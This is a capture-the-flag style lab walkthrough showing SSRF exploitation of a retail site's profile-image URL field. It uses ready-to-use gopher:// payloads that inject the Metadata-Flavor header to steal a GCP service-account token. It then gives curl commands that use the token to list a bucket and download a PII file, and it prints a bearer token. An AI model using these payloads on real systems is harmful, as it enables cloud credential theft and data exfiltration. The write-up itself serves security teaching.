InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties…

Follow publication

Exploit SSRF with Gopher for GCP Initial Access

Picture By Leonardo AI | GCP

Scenario

You have recently joined a red team and are on an engagement for the client Gigantic Retail. In scope is their on-premise and cloud environments. As the cloud specialist you are called upon to get initial access to their infrastructure, starting with an identified IP address.

Lab prerequisites

  • Basic Linux command line knowledge

Learning outcomes

  • Exploit an SSRF vulnerability using Burp
  • Bypass a measure that protects against SSRF by leveraging gopher
  • Enumerate Google Cloud resources using cURL

Difficulty

Beginner

Focus

Red

Real-world context

SSRF vulnerabilities are common and come in at number 10 on the OWASP Top 10 (2021) list. Adoption of cloud services and hybrid cloud architectures are also rapidly increasing, but often there isn’t an awareness of the security implications of this new type of infrastructure. This lab also features gopher in bypassing a protection against SSRF vulnerabilities, and while gopher is an old protocol that has largely been supplanted, some libraries still provide support for it by default. This also highlights the importance of understanding the protocols that are supported by default in the various libraries that are used.

Attack

The scan shows that port 22 (TCP) is open and running OpenSSH 8.4p1 on Debian. Port 53 (TCP) is open and running ISC BIND 9.16.23 on RedHat Linux. Port 80 (TCP) is also open, hosting an Apache HTTP server (version 2.4.62) on Debian. The server’s title is ‘Gigantic Retail,’ and the HTTP response headers confirm it is running Apache 2.4.62 on Debian. Port 3389 (TCP) is closed. The target system appears to be running a Linux-based OS, with possible kernel versions ranging from 2.6.32 to 5.14.

┌──(kali㉿kali)-[~/Downloads/GCP]
└─$ sudo nmap -sC -sV -A 35.226.245.121 -T4
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-27 10:20 EST
Nmap scan report for 121.245.226.35.bc.googleusercontent.com (35.226.245.121)
Host is up (0.31s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u4 (protocol 2.0)
| ssh-hostkey:
| 3072 94:7f:9f:f7:d9:13:ee:94:bd:6d:58:16:da:11:56:a0 (RSA)
| 256 c7:a9:35:9f:ab:d8:2f:2b:48:8b:3d:b6:e9:0d:68:11 (ECDSA)
|_ 256 2e:82:c2:80:e5:11:9d:bc:40:e6:7d:f4:0b:aa:e8:4a (ED25519)
53/tcp open domain ISC BIND 9.16.23 (RedHat Linux)
| dns-nsid:
|_ bind.version: 9.16.23-RH
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Gigantic Retail
3389/tcp closed ms-wbt-server
Aggressive OS guesses: Linux 4.19 (94%), Linux 2.6.32 - 3.13 (93%), Linux 5.0 - 5.14 (93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (93%), Linux 3.10 - 4.11 (90%), Linux 3.2 - 4.14 (90%), Linux 4.15 (90%), Linux 4.15 - 5.19 (90%), Linux 2.6.32 - 3.10 (90%), MikroTik RouterOS 6.36 - 6.48 (Linux 3.3.5) (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 11 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 40.33 ms 192.168.0.1
2 40.56 ms 10.14.161.1
3 ... 4
5 47.75 ms 10.240.254.53
6 ...
7 41.65 ms 10.241.1.1
8 ... 9
10 60.98 ms 72.14.222.120
11 310.42 ms 121.245.226.35.bc.googleusercontent.com (35.226.245.121)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.78 seconds

Viewing it in a browser displays the website for Gigantic Retail.

Gigantic Retail

Clicking on the SHOP link redirects us to the page below. Pressing CTRL + U to view the HTML source code reveals that the website is using Google Storage to host images, specifically a bucket named gigantic-retail.

https://storage.googleapis.com/gigantic-retail/shop/image4.jpg
Image4
https://storage.googleapis.com/gigantic-retail/shop/image5.jpg
Image5
Gigantic Retail

Let’s sign in to the Google Cloud CLI and check if we can enumerate the bucket.

gcloud auth revoke --all  # remove existing authenticated sessions if you want
gcloud auth login

Now, let’s proceed with installing the Google Cloud CLI

1. sudo apt install curl apt-transport-https ca-certificates gnupg -y
2. curl -fsSL https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo tee /usr/share/keyrings/cloud.google.gpg > /dev/null
3. echo "deb [signed-by=/usr/share/keyrings/cloud.google.gpg] https://packages.cloud.google.com/apt cloud-sdk main" | sudo tee /etc/apt/sources.list.d/google-cloud-sdk.list
4. sudo apt update && sudo apt install google-cloud-cli -y
5. gcloud --version

1️⃣ Install Required Dependencies

2️⃣ Add Google Cloud’s GPG Key

3️⃣ Add Google Cloud SDK Repo to Sources

4️⃣ Update and Install Google Cloud SDK

5️⃣ Verify Installation

┌──(kali㉿kali)-[~]
└─$ gcloud --version
Google Cloud SDK 512.0.0
alpha 2025.02.21
beta 2025.02.21
bq 2.1.13
bundled-python3-unix 3.12.8
core 2025.02.21
gcloud-crc32c 1.0.0
gsutil 5.33

However, attempting to list the bucket’s contents using the Google Cloud CLI is unsuccessful. We can revisit the CLI later. It appears that while the website images are publicly accessible, we lack the necessary permissions to access other files or directories that may be hosted there.

Let’s set the bucket aside for now since it appears to be properly secured. Instead, we can analyze the location check functionality. However, it seems to be implemented client-side, as no requests to the server are observed in Burp.

Gigantic Retail

Reviewing the JavaScript in the source code confirms this. Let’s move forward.

// Function to check the nearest shop
function checkNearestShop() {
const cityInput = document.getElementById('input').value.toLowerCase();
const availableCities = ['london', 'delhi', 'new york', 'paris', 'tokyo', 'sydney', 'rome', 'cairo', 'mexico city', 'cape town'];
if (availableCities.includes(cityInput)) {
alert(`We deliver in your city. Yay!`);
// Add logic for further actions if the city is available
} else {
alert(`Sorry, we are not delivering in your location yet.`);
// Add logic for further actions if the city is not available
}
}

// Function to redirect to the profile page
function redirectToProfile() {
// Add logic to redirect to the profile page
alert('Redirecting to the profile page...');
window.location.href = 'profile.php';
}

// Render initial products

Clicking on Profile redirects us to the profile.php page. See the page below.

Profile.php

The profile.php page allows us to update various details and set a profile picture. Interestingly, instead of uploading an image, it requires a URL path to an image. This suggests a potential Server-Side Request Forgery (SSRF) vulnerability if the backend PHP code does not properly validate user input.

An SSRF vulnerability occurs when an attacker tricks a web application into sending requests to unintended destinations, often bypassing access controls. This could allow unauthorized access to internal systems and services that are otherwise restricted from external access.

Testing with an image hosted in the Google Storage bucket, we see that the functionality works as intended by the developer.

Profile.php

Checking the browser’s address bar, we can see the URL parameter holding the image path. Let’s modify this value to point to a different website or a non-image resource and observe the response.

http://35.226.245.121/profile.php?url=https://reju-w40x.gitbook.io/w40x

This returns the following error, which appears to include the content of the response!

Fetched content

There could be multiple internal services that we might attempt to access, but first, we need to gather more information about the system. Running the command whois 35.226.245.121 reveals that the IP address belongs to the Google Cloud address space.

┌──(root㉿kali)-[/home/kali/Downloads/GCP]
└─# whois 35.226.245.121

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/resources/registry/whois/tou/
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/resources/registry/whois/inaccuracy_reporting/
#
# Copyright 1997-2025, American Registry for Internet Numbers, Ltd.
#


NetRange: 35.208.0.0 - 35.247.255.255
CIDR: 35.240.0.0/13, 35.224.0.0/12, 35.208.0.0/12
NetName: GOOGLE-CLOUD
NetHandle: NET-35-208-0-0-1
Parent: NET35 (NET-35-0-0-0-0)
NetType: Direct Allocation
OriginAS:
Organization: Google LLC (GOOGL-2)
RegDate: 2017-09-29
Updated: 2018-01-24
Comment: *** The IP addresses under this Org-ID are in use by Google Cloud customers ***
Comment:
Comment: Direct all copyright and legal complaints to
Comment: https://support.google.com/legal/go/report
Comment:
Comment: Direct all spam and abuse complaints to
Comment: https://support.google.com/code/go/gce_abuse_report
Comment:
Comment: For fastest response, use the relevant forms above.
Comment:
Comment: Complaints can also be sent to the GC Abuse desk
Comment: (google-cloud-compliance@google.com)
Comment: but may have longer turnaround times.
Ref: https://rdap.arin.net/registry/ip/35.208.0.0



OrgName: Google LLC
OrgId: GOOGL-2
Address: 1600 Amphitheatre Parkway
City: Mountain View
StateProv: CA
PostalCode: 94043
Country: US
RegDate: 2006-09-29
Updated: 2019-11-01
Comment: *** The IP addresses under this Org-ID are in use by Google Cloud customers ***
Comment:
Comment: Direct all copyright and legal complaints to
Comment: https://support.google.com/legal/go/report
Comment:
Comment: Direct all spam and abuse complaints to
Comment: https://support.google.com/code/go/gce_abuse_report
Comment:
Comment: For fastest response, use the relevant forms above.
Comment:
Comment: Complaints can also be sent to the GC Abuse desk
Comment: (google-cloud-compliance@google.com)
Comment: but may have longer turnaround times.
Comment:
Comment: Complaints sent to any other POC will be ignored.
Ref: https://rdap.arin.net/registry/entity/GOOGL-2


OrgAbuseHandle: GCABU-ARIN
OrgAbuseName: GC Abuse
OrgAbusePhone: +1-650-253-0000
OrgAbuseEmail: google-cloud-compliance@google.com
OrgAbuseRef: https://rdap.arin.net/registry/entity/GCABU-ARIN

OrgNOCHandle: GCABU-ARIN
OrgNOCName: GC Abuse
OrgNOCPhone: +1-650-253-0000
OrgNOCEmail: google-cloud-compliance@google.com
OrgNOCRef: https://rdap.arin.net/registry/entity/GCABU-ARIN

OrgTechHandle: ZG39-ARIN
OrgTechName: Google LLC
OrgTechPhone: +1-650-253-0000
OrgTechEmail: arin-contact@google.com
OrgTechRef: https://rdap.arin.net/registry/entity/ZG39-ARIN


#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/resources/registry/whois/tou/
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/resources/registry/whois/inaccuracy_reporting/
#
# Copyright 1997-2025, American Registry for Internet Numbers, Ltd.
#

A common way to host a website on Google Cloud is by using a VM instance. Every Google Cloud VM maintains its metadata on a dedicated metadata server, which can store sensitive information like credentials. This metadata API is accessible to VMs without requiring authentication.

Referring to the documentation, we find a metadata endpoint that allows retrieval of the GCP project ID (since Google Cloud organizes resources within projects). Let’s attempt to query it.

http://metadata.google.internal/computeMetadata/v1/project/project-id

Sending a request with this URL as the value of the url parameter results in the following error.

Fetched content

We don’t have permission to access /computeMetadata/v1/project/project-id from the metadata server because we’re missing the required Metadata-Flavor: Google HTTP header.

Reviewing the documentation again, we see that this header must be included in all requests. However, simply adding it to our request won’t work — the header needs to be set in the coerced server request itself.

Parts of a Metadata Request

Instead, we can look for an API that doesn’t require the Metadata-Flavor: Google header to be set.

http://metadata.google.internal/computeMetadata/v1beta1/

This returns the error: “Legacy Endpoints (Non-v1) are no longer supported.” It seems this API has been deprecated.

Fetched content

To set the Metadata-Flavor: Google header and interact with the Compute Metadata API, we need to find a way to inject custom headers into the request made by the vulnerable server.

After some searching, we come across a blog that describes using Gopher URLs to encapsulate an HTTP request. This method allows us to bypass restrictions and include the required headers in the SSRF payload.

gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/<snip>-compute@developer.gserviceaccount.com/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a

By leveraging the Gopher protocol, we can construct an SSRF payload that injects a fully crafted HTTP request to the Google Cloud metadata service, bypassing the need for direct header modification.

Breaking Down the Payload

  1. Protocol and Target:
gopher://metadata.google.internal:80/
  • Uses the Gopher protocol to send a request.
  • Targets metadata.google.internal (Google Cloud’s internal metadata server).
  • Port 80 is used for HTTP requests.

2. Crafted Request:

GET /computeMetadata/v1/instance/service-accounts/<service-account>/token
  • Requests an OAuth token from the metadata API for a service account.
  • We need to determine the service account name associated with the VM.

3. Encoded Headers (URL Encoding)

  • %2520HTTP%252f%2531%252e%2531 → Represents " HTTP/1.1"
  • %250AHost:%2520metadata.google.internal → Sets Host header
  • %250AAccept:%2520%252a%252f%252a → Accepts any response type
  • %250aMetadata-Flavor:%2520Google → Crucial header that authenticates the request

The Gopher protocol is an outdated but still-supported protocol in many libraries, including libcurl, making it a potential vector for SSRF attacks. In Google Cloud, VM metadata is accessible at metadata.google.internal, but requests require a Metadata-Flavor: Google header. By crafting a Gopher-based SSRF payload, we can trick the server into sending this request internally, potentially exposing sensitive data like service account credentials.

To test this:

  1. Intercept the request in Burp Suite after clicking “Fetch Image.”
  2. Modify the url parameter to include a Gopher payload targeting the metadata API.
  3. Send the request and check for leaked credentials in the response.
Burp Request

Right-click on the window and choose “Send to Repeater.” Next, replace the existing URL value with the following payload, which requests /computeMetadata/v1/instance/service-accounts/ to enumerate available service accounts. If you hadn't entered a URL before clicking "Fetch Image," simply add the payload now.

gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a

Now, click Send and wait for the response. It takes around 30 seconds, but we successfully retrieve the custom service account:

bucketviewer@gr-proj-1.iam.gserviceaccount.com

This confirms that the VM is using a specific service account, which we can now investigate further.

Burp Response

Append /token to bucketviewer@gr-proj-1.iam.gserviceaccount.com in the payload as shown below, then send the request again.

gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/bucketviewer@gr-proj-1.iam.gserviceaccount.com/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a

Here you go, guys! We successfully retrieve an access token for the service account!

Burp Response

The response is HTML-encoded, so we can select the entire token, right-click it, and choose ‘Convert selection > HTML > HTML-decode’ to decode it properly.

Burp Response
Copy the token to your clipboard for further use

Now, we can clearly identify and select the actual token value, as highlighted below.

access_token

We might assume that using the token with the Google Cloud CLI (gcloud) would work, but gcloud usually requires a service account key file (JSON format) or user credentials for authentication, rather than an access token. Instead, we can set the GOOGLE_ACCESS_TOKEN environment variable and make an authenticated request to GCP API endpoints using cURL!

export GOOGLE_ACCESS_TOKEN=<token>

Next, let’s check if anything else is stored in the gigantic-retail bucket. Running the following command to list objects (o) reveals an interesting file named user_data.csv."

curl -H "Authorization: Bearer $GOOGLE_ACCESS_TOKEN" "https://www.googleapis.com/storage/v1/b/gigantic-retail/o"
curl -H "Authorization: Bearer ya29.c.c0ASRK0GYV8x92oeT_sRmq3iAvWbcHMJ3d07IOX6PS7rgk877lk0IWjx68gxhcwIgXecCgHHobCSbNtkTcqo2NT4Vv7xPlObyYBU87df4SRJm9exfscXcdxwlwkF92U7mlLZLRMHsiHoCP1b9E5sHPENcL2aLb7YDCt5yxZuWD2oTiTy7BaZvJBmvjulncHURlv3fOWM3G0iXW3fAmKrFOjeq5IgSKyMXYsBmQFpmhvZhP41tTs-Jk7EEFg2YSMRnPzJZYTG5iRPsZ8dkPkwe3iTTs6xhUTEvwuREJycqYwPp1Wm1Y6ihH__632eJKnex2kcgbmEJ_rJsh48Ok8FD-Q3R4ukIacDRB-AtJ8VqtzUcx1IS2_NuFvjCyXM8NRj5os-wK67PldpbP38u2T409Pyhpo8RsvfoX8r8US-wfM4YUreXQm074XjVaX2Mkyrqc34qs7J9t5F10-k-Jm0MJ-W2ZfYUBg7sc5aMtx3Q49zklSOXa_hJJsqsp8dcoUl3fcihIR43hrpZ3jFc330X1Ior31idpgQRcc2hw-3Uv2ws9gY4ZdbVbQrdUjXxzs9Qmnk08Rjh22JBSqooV4sZBceIadbjwQO5n2W95Fsq4VVorpOaiiOhZe_pMg3-rk5t-ZfVXkfdfv6VYdbn8WFy6rIFicMgu--peifUbtpeOn9kzsvXfijOj7kuwl9bRQ_uWSyOhVjspifa38R6h_9-eJF-WVoiR1yV8yz_Uvdifp5bO0lpVnI_bijaFv9kSjk2oI6QYqu9t0n6Y32l32ws4mscbpJvJSp56O-8rFu31nwk4QJi7Oq5UObyF36hJjy-ie5ca_dWwrd0aBhbkufW1eInJgBzOQgdWie_cw4jke3aSxrjhQ46MhJbWzQekOiVqY1__vJynipfsvXZd4Utz_bZOWte3I6v2WJBdqBaYfbs6_9aMqSQgYh5ssen3cWqzzt8yWIO5OfJ3O6_xisud_49yXRhyokl5o-psUMx3oxBhMURvnY9OqjX" "https://www.googleapis.com/storage/v1/b/gigantic-retail/o"
{
"kind": "storage#objects",
"items": [
{
"kind": "storage#object",
"id": "gigantic-retail/images//1703694086172510",
"selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/images%2F",
"mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/images%2F?generation=1703694086172510&alt=media",
"name": "images/",
"bucket": "gigantic-retail",
"generation": "1703694086172510",
"metageneration": "1",
"contentType": "text/plain",
"storageClass": "STANDARD",
"size": "0",
"md5Hash": "1B2M2Y8AsgTpgAmY7PhCfg==",
"crc32c": "AAAAAA==",
"etag": "CN7ev4aDsIMDEAE=",
"temporaryHold": false,
"eventBasedHold": false,
"timeCreated": "2023-12-27T16:21:26.216Z",
"updated": "2023-12-27T16:21:26.216Z",
"timeStorageClassUpdated": "2023-12-27T16:21:26.216Z",
"timeFinalized": "2023-12-27T16:21:26.216Z"
},
{
"kind": "storage#object",
"id": "gigantic-retail/images/retail1.jpg/1703874774500023",
"selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/images%2Fretail1.jpg",
"mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/images%2Fretail1.jpg?generation=1703874774500023&alt=media",
"name": "images/retail1.jpg",
"bucket": "gigantic-retail",
"generation": "1703874774500023",
"metageneration": "2",
"contentType": "image/jpeg",
"storageClass": "STANDARD",
"size": "4313677",
"md5Hash": "ZOukVmKAkPpbH2PMqjfXUQ==",
"crc32c": "rEzh6g==",
"etag": "CLeFtJWktYMDEAI=",
"timeCreated": "2023-12-29T18:32:54.538Z",
"updated": "2023-12-29T18:33:07.537Z",
"timeStorageClassUpdated": "2023-12-29T18:32:54.538Z",
"timeFinalized": "2023-12-29T18:32:54.538Z"
},
{
"kind": "storage#object",
"id": "gigantic-retail/images/retail2.jpg/1703874772845638",
"selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/images%2Fretail2.jpg",
"mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/images%2Fretail2.jpg?generation=1703874772845638&alt=media",
"name": "images/retail2.jpg",
"bucket": "gigantic-retail",
"generation": "1703874772845638",
"metageneration": "2",
"contentType": "image/jpeg",
"storageClass": "STANDARD",
"size": "2509625",
"md5Hash": "ziETE5NFrKmmKSZNx5C8rg==",
"crc32c": "XU/P4A==",
"etag": "CMaIz5SktYMDEAI=",
"timeCreated": "2023-12-29T18:32:52.883Z",
"updated": "2023-12-29T18:33:19.568Z",
"timeStorageClassUpdated": "2023-12-29T18:32:52.883Z",
"timeFinalized": "2023-12-29T18:32:52.883Z"
},
{
"kind": "storage#object",
"id": "gigantic-retail/images/retail3.jpg/1703874772954271",
"selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/images%2Fretail3.jpg",
"mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/images%2Fretail3.jpg?generation=1703874772954271&alt=media",
"name": "images/retail3.jpg",
"bucket": "gigantic-retail",
"generation": "1703874772954271",
"metageneration": "2",
"contentType": "image/jpeg",
"storageClass": "STANDARD",
"size": "4221422",
"md5Hash": "MsNHVuKuyOBGjFibhZKD7A==",
"crc32c": "3SYEaA==",
"etag": "CJ/Z1ZSktYMDEAI=",
"timeCreated": "2023-12-29T18:32:52.991Z",
"updated": "2023-12-29T18:33:34.421Z",
"timeStorageClassUpdated": "2023-12-29T18:32:52.991Z",
"timeFinalized": "2023-12-29T18:32:52.991Z"
},
{
"kind": "storage#object",
"id": "gigantic-retail/images/retail4.jpg/1703874772744341",
"selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/images%2Fretail4.jpg",
"mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/images%2Fretail4.jpg?generation=1703874772744341&alt=media",
"name": "images/retail4.jpg",
"bucket": "gigantic-retail",
"generation": "1703874772744341",
"metageneration": "2",
"contentType": "image/jpeg",
"storageClass": "STANDARD",
"size": "2569696",
"md5Hash": "LOi120wE1+5N3JTnhmDIDA==",
"crc32c": "XM5hQA==",
"etag": "CJXxyJSktYMDEAI=",
"timeCreated": "2023-12-29T18:32:52.783Z",
"updated": "2023-12-29T18:33:47.191Z",
"timeStorageClassUpdated": "2023-12-29T18:32:52.783Z",
"timeFinalized": "2023-12-29T18:32:52.783Z"
},
{
"kind": "storage#object",
"id": "gigantic-retail/shop//1703694108672871",
"selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/shop%2F",
"mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/shop%2F?generation=1703694108672871&alt=media",
"name": "shop/",
"bucket": "gigantic-retail",
"generation": "1703694108672871",
"metageneration": "1",
"contentType": "text/plain",
"storageClass": "STANDARD",
"size": "0",
"md5Hash": "1B2M2Y8AsgTpgAmY7PhCfg==",
"crc32c": "AAAAAA==",
"etag": "COeGnZGDsIMDEAE=",
"temporaryHold": false,
"eventBasedHold": false,
"timeCreated": "2023-12-27T16:21:48.717Z",
"updated": "2023-12-27T16:21:48.717Z",
"timeStorageClassUpdated": "2023-12-27T16:21:48.717Z",
"timeFinalized": "2023-12-27T16:21:48.717Z"
},
{
"kind": "storage#object",
"id": "gigantic-retail/shop/image1.avif/1703873501183008",
"selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/shop%2Fimage1.avif",
"mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/shop%2Fimage1.avif?generation=1703873501183008&alt=media",
"name": "shop/image1.avif",
"bucket": "gigantic-retail",
"generation": "1703873501183008",
"metageneration": "1",
"contentType": "image/avif",
"storageClass": "STANDARD",
"size": "21910",
"md5Hash": "gONbx90L/f5UwjILBXQR8w==",
"crc32c": "vGlDhw==",
"etag": "CKD4nraftYMDEAE=",
"timeCreated": "2023-12-29T18:11:41.223Z",
"updated": "2023-12-29T18:11:41.223Z",
"timeStorageClassUpdated": "2023-12-29T18:11:41.223Z",
"timeFinalized": "2023-12-29T18:11:41.223Z"
},
{
"kind": "storage#object",
"id": "gigantic-retail/shop/image2.jpg/1703873529194025",
"selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/shop%2Fimage2.jpg",
"mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/shop%2Fimage2.jpg?generation=1703873529194025&alt=media",
"name": "shop/image2.jpg",
"bucket": "gigantic-retail",
"generation": "1703873529194025",
"metageneration": "1",
"contentType": "image/jpeg",
"storageClass": "STANDARD",
"size": "49508",
"md5Hash": "Lnxdkch/YFdVEzLbjs8GcQ==",
"crc32c": "EAZ3yQ==",
"etag": "CKnMzMOftYMDEAE=",
"timeCreated": "2023-12-29T18:12:09.232Z",
"updated": "2023-12-29T18:12:09.232Z",
"timeStorageClassUpdated": "2023-12-29T18:12:09.232Z",
"timeFinalized": "2023-12-29T18:12:09.232Z"
},
{
"kind": "storage#object",
"id": "gigantic-retail/shop/image3.webp/1703873572569343",
"selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/shop%2Fimage3.webp",
"mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/shop%2Fimage3.webp?generation=1703873572569343&alt=media",
"name": "shop/image3.webp",
"bucket": "gigantic-retail",
"generation": "1703873572569343",
"metageneration": "1",
"contentType": "image/webp",
"storageClass": "STANDARD",
"size": "38096",
"md5Hash": "+3UmgYL67/IYIa5xgFFAtA==",
"crc32c": "ZFrdAA==",
"etag": "CP+BpNiftYMDEAE=",
"timeCreated": "2023-12-29T18:12:52.608Z",
"updated": "2023-12-29T18:12:52.608Z",
"timeStorageClassUpdated": "2023-12-29T18:12:52.608Z",
"timeFinalized": "2023-12-29T18:12:52.608Z"
},
{
"kind": "storage#object",
"id": "gigantic-retail/shop/image4.jpg/1703878196790476",
"selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/shop%2Fimage4.jpg",
"mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/shop%2Fimage4.jpg?generation=1703878196790476&alt=media",
"name": "shop/image4.jpg",
"bucket": "gigantic-retail",
"generation": "1703878196790476",
"metageneration": "2",
"contentType": "image/jpeg",
"storageClass": "STANDARD",
"size": "330459",
"md5Hash": "TPRtwzdVkfMI5RI1EO7+Sg==",
"crc32c": "aLT8Ow==",
"etag": "CMyJpPWwtYMDEAI=",
"timeCreated": "2023-12-29T19:29:56.829Z",
"updated": "2023-12-29T19:30:15.131Z",
"timeStorageClassUpdated": "2023-12-29T19:29:56.829Z",
"timeFinalized": "2023-12-29T19:29:56.829Z"
},
{
"kind": "storage#object",
"id": "gigantic-retail/shop/image5.jpg/1703877954511133",
"selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/shop%2Fimage5.jpg",
"mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/shop%2Fimage5.jpg?generation=1703877954511133&alt=media",
"name": "shop/image5.jpg",
"bucket": "gigantic-retail",
"generation": "1703877954511133",
"metageneration": "2",
"contentType": "image/jpeg",
"storageClass": "STANDARD",
"size": "104713",
"md5Hash": "0+cCEhDEy22Q9SqoYlP1pg==",
"crc32c": "imsC9g==",
"etag": "CJ3C4IGwtYMDEAI=",
"timeCreated": "2023-12-29T19:25:54.585Z",
"updated": "2023-12-29T19:26:08.043Z",
"timeStorageClassUpdated": "2023-12-29T19:25:54.585Z",
"timeFinalized": "2023-12-29T19:25:54.585Z"
},
{
"kind": "storage#object",
"id": "gigantic-retail/userdata//1703771211799112",
"selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/userdata%2F",
"mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2F?generation=1703771211799112&alt=media",
"name": "userdata/",
"bucket": "gigantic-retail",
"generation": "1703771211799112",
"metageneration": "1",
"contentType": "text/plain",
"storageClass": "STANDARD",
"size": "0",
"md5Hash": "1B2M2Y8AsgTpgAmY7PhCfg==",
"crc32c": "AAAAAA==",
"etag": "CMi07q6isoMDEAE=",
"temporaryHold": false,
"eventBasedHold": false,
"timeCreated": "2023-12-28T13:46:51.848Z",
"updated": "2023-12-28T13:46:51.848Z",
"timeStorageClassUpdated": "2023-12-28T13:46:51.848Z",
"timeFinalized": "2023-12-28T13:46:51.848Z"
},
{
"kind": "storage#object",
"id": "gigantic-retail/userdata/flag.txt/1703771329072518",
"selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/userdata%2Fflag.txt",
"mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fflag.txt?generation=1703771329072518&alt=media",
"name": "userdata/flag.txt",
"bucket": "gigantic-retail",
"generation": "1703771329072518",
"metageneration": "1",
"contentType": "text/plain",
"storageClass": "STANDARD",
"size": "33",
"md5Hash": "J+PDkjepBufLwKoiCflv2w==",
"crc32c": "/H+7+Q==",
"etag": "CIab5OaisoMDEAE=",
"timeCreated": "2023-12-28T13:48:49.125Z",
"updated": "2023-12-28T13:48:49.125Z",
"timeStorageClassUpdated": "2023-12-28T13:48:49.125Z",
"timeFinalized": "2023-12-28T13:48:49.125Z"
},
{
"kind": "storage#object",
"id": "gigantic-retail/userdata/user_data.csv/1703877006716190",
"selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv",
"mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media",
"name": "userdata/user_data.csv",
"bucket": "gigantic-retail",
"generation": "1703877006716190",
"metageneration": "1",
"contentType": "text/csv",
"storageClass": "STANDARD",
"size": "2388",
"md5Hash": "JMvLqhSoe2s9FX6JlXGmxw==",
"crc32c": "2XJ9cA==",
"etag": "CJ7a572stYMDEAE=",
"timeCreated": "2023-12-29T19:10:06.754Z",
"updated": "2023-12-29T19:10:06.754Z",
"timeStorageClassUpdated": "2023-12-29T19:10:06.754Z",
"timeFinalized": "2023-12-29T19:10:06.754Z"
}
]
}

The mediaLink field offers a direct URL to download the object.

"mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media"

Using curl to download the file reveals exposed personally identifiable information (PII)!

curl -H "Authorization: Bearer $GOOGLE_ACCESS_TOKEN" "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media"
user_data.csv
